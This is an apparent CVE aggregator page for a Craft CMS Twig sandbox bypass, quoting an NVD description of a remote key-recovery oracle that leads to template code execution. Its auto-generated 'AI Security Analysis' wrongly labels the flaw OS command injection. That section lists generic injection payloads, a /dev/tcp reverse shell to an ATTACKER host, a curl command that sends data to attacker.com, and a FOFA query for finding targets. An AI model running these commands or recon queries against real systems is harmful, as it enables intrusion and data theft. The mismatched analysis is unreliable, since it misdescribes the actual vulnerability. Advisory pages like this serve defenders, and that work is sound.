CVE Professor
›
Back
CVE-2026-115938

CVE-2026-115938 — Craft CMS — CWE-1336

HIGH CVSS 8.8 NVD

CVE-2026-115938 is a HIGH severity security vulnerability (CWE-1336) (CVSS 8.8/10) affecting Craft CMS. Technical vector analysis shows that an attacker can exploit this flaw remotely over the network with low-privileged access (PR:L) with zero user interaction (UI:N), resulting in complete compromise of system confidentiality and integrity (C:H/I:H).

📄 Official NVD / MITRE Original Record Text

Craft CMS allows any authenticated control panel user to submit an element-search condition whose element selector is evaluated as a sandboxed Twig object template. Craft’s allowed column filter delegates property lookup to Yii ArrayHelper, outside Twig’s SecurityPolicy. Repeated single-segment lookups therefore bypass the sandbox’s empty property/method allowlists. The vulnerable condition value is ultimately cast to an integer. That does not protect the secret: the template can return author ID 1 when a guessed key character is correct and an impossible ID otherwise. The JSON endpoint returns entries for the first case and an empty array for the second, forming a stable remote character oracle. After recovering GeneralConfig::securityKey, the same user can compute Craft’s generic HMAC wire format offline. Signed parameters such as redirect are then accepted and passed to unsandboxed View::renderObjectTemplate(), where Twig’s string-callable form can invoke native PHP callables. The regression proof uses the harmless substr() callback and observes abcdef becoming cdef; it does not execute an OS command.

Published 23.10.2026
ISO Date 2026-10-23
CVSS Version v3.1
Source NVD
CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. Low PR:L
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality High C:H
Integrity High I:H
Availability High A:H
AI Security Analysis & Remediation
🤖 Generating Deep AI Security Analysis…
Analyzing CVSS vector & CWE weakness structure…

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
CVE-2026-115938
CVSS 8.8/10 · HIGH · 23.10.2026
CWE: CWE-1336
Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

🎯 WHAT IS THIS VULNERABILITY?
OS Command Injection
Summary: Craft CMS allows any authenticated control panel user to submit an element-search condition whose element selector is evaluated as a sandboxed Twig object template. Craft’s allowed column filter delegates property lookup to Yii ArrayHelper, outside Twig’s SecurityPolicy. Repeated single-segment lookups therefore bypass the sandbox’s empty property/method allowlists.

⚡ ATTACK CHAIN
1. Test injection: ; id, | id, backtick execution.
2. Blind via time delay: ; sleep 5
3. Reverse shell: ; bash -i >& /dev/tcp/ATTACKER/4444 0>&1
4. OOB: ; curl https://attacker.com/$(whoami|base64)

🔧 Tools: commix, Metasploit, manual + netcat
🗺️ MITRE ATT&CK: T1059 (Command and Scripting Interpreter), T1190

🌍 REAL WORLD IMPACT
All confidential data readable/stealable; data can be modified or deleted; service can be completely taken down.

🛡️ REMEDIATION
→ Apply the vendor-released patch immediately.
→ Never pass user input to shell commands.
→ Add WAF rule, create IDS alert for anomalous traffic.

⚠️ URGENCY
⚠️ Planned maintenance (2 weeks).

────────────────────────────────────────
[Kural Tabanlı Otomatik Güvenlik Analizi]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

header="X-Powered-By" && header="PHP"
CVSS Score
8.8 / 10 · CVSS HIGH
Weakness Types (CWE)
CWE-1336
References & Advisories (4)
Related CVEs
6.1
CVE-2024-58401
Bagisto 2.1.0 before 2.2.1 contains a client-side template injection vulnerability in the search page where th
9.1
CVE-2026-125757
mailcow: dockerized before 2026-11 contains a server-side template injection vulnerability that allows domain
4.2
CVE-2026-123809
Dynatrace MCP Server is an MCP server for Dynatrace Observability. Prior to 2.0.0, the create_workflow_for_not
8.8
CVE-2026-124430
Craft CMS from 5.10.0 before 5.11.2 contains a remote code execution vulnerability that allows non-administrat
9.8
CVE-2026-123198
LMFDB before commit 01829bd contains a server-side template injection vulnerability in the render_knowl functi
8.8
CVE-2026-82910
Improper Neutralization of Special Elements Used in a Template Engine ('Server-Side Template Injection') in Ma